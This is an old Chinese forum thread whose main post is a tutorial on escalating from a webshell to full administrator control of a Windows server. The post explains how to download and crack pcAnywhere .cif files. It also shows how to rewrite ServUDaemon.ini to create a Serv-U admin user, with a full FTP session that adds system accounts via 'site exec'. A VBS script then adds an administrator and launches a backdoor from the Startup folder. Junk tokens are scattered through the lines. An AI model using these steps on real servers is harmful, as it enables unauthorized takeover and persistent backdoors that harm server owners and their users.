论坛风格切换切换到宽版
  • 662阅读
  • 2回复

经典的Webshell提权技术总结 [复制链接]

上一主题 下一主题
 
只看楼主 倒序阅读 使用道具 楼主  发表于: 2009-03-12
说到花了九牛二虎的力气获得了一个webshell,  zsMw5C  
当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~  zsMw5C  
嘻嘻~~好跟我来,看看有什么可以利用的来提升权限  zsMw5C  
****************************************************************************  zsMw5C  
第一  zsMw5C  
如果服务器上有装了pcanywhere服务端,管理员为了管理方便  zsMw5C  
也给了我们方便,到系统盘的Documents and Settings/All Us  zsMw5C  
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地  zsMw5C  
破解就使用pcanywhere连接就ok了  zsMw5C  
****************************************************************************  zsMw5C  
第二  zsMw5C  
有很多小黑问我这么把webshell的iis user权限提升  zsMw5C  
一般服务器的管理都是本机设计完毕然后上传到空间里,  zsMw5C  
那么就会用到ftp,服务器使用最多的就是servu  zsMw5C  
那么我们就利用servu来提升权限  zsMw5C  
通过servu提升权限需要servu安装目录可写~  zsMw5C  
好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载  zsMw5C  
下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,  zsMw5C  
启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限  zsMw5C  
然后去servu安装目录里把ServUDaemon.ini更换服务器上的。  zsMw5C  
用我新建的用户和密码连接~  zsMw5C  
好的,还是连上了  zsMw5C  
ftp  zsMw5C  
ftp>open ip  zsMw5C  
Connected to ip.  zsMw5C  
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...  zsMw5C  
User (ip:(none)): id //刚才添加的用户  zsMw5C  
331 User name okay, please send complete E-mail address as password.  zsMw5C  
Password:password //密码  zsMw5C  
230 User logged in, proceed.  zsMw5C  
ftp> cd winnt //进入win2k的winnt目录  zsMw5C  
250 Directory changed to /WINNT  zsMw5C  
ftp>cd system32 //进入system32目录  zsMw5C  
250 Directory changed to /WINNT/system32  zsMw5C  
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe   zsMw5C  
文件加用户。  zsMw5C  
如果提示没有权限,那我们就  zsMw5C  
把后门(server.exe) 传他system32目录  zsMw5C  
然后写一个VBs教本  zsMw5C  
set wshshell=createobject ("wscript.shell")  zsMw5C  
a=wshshell.run ("cmd.exe /c net user user pass /add",0)  zsMw5C  
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)  zsMw5C  
b=wshshell.run ("cmd.exe /c server.exe",0)   zsMw5C  
zsMw5C  
存为xx.vbe  zsMw5C  
这个教本的作用是建立user用户密码为pass  zsMw5C  
并且提升为管理员  (Oxz'#TX  
然后执行system32目录下的server.exe  (Oxz'#TX  
把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动  (Oxz'#TX  
目录  (Oxz'#TX  
这样管理员只要一登陆就会执行那个教本.  (Oxz'#TX  
接下来就是等了.等他登陆.  (Oxz'#TX  

只看该作者 沙发  发表于: 2009-03-12
得防着这手啊,呵呵,我的服务器应该能顶住。。
人人为我,我为人人。

只看该作者 板凳  发表于: 2009-03-12
楼主是干什么的
快速回复
限100 字节
如果您在写长篇帖子又不马上发表,建议存为草稿
 
上一个 下一个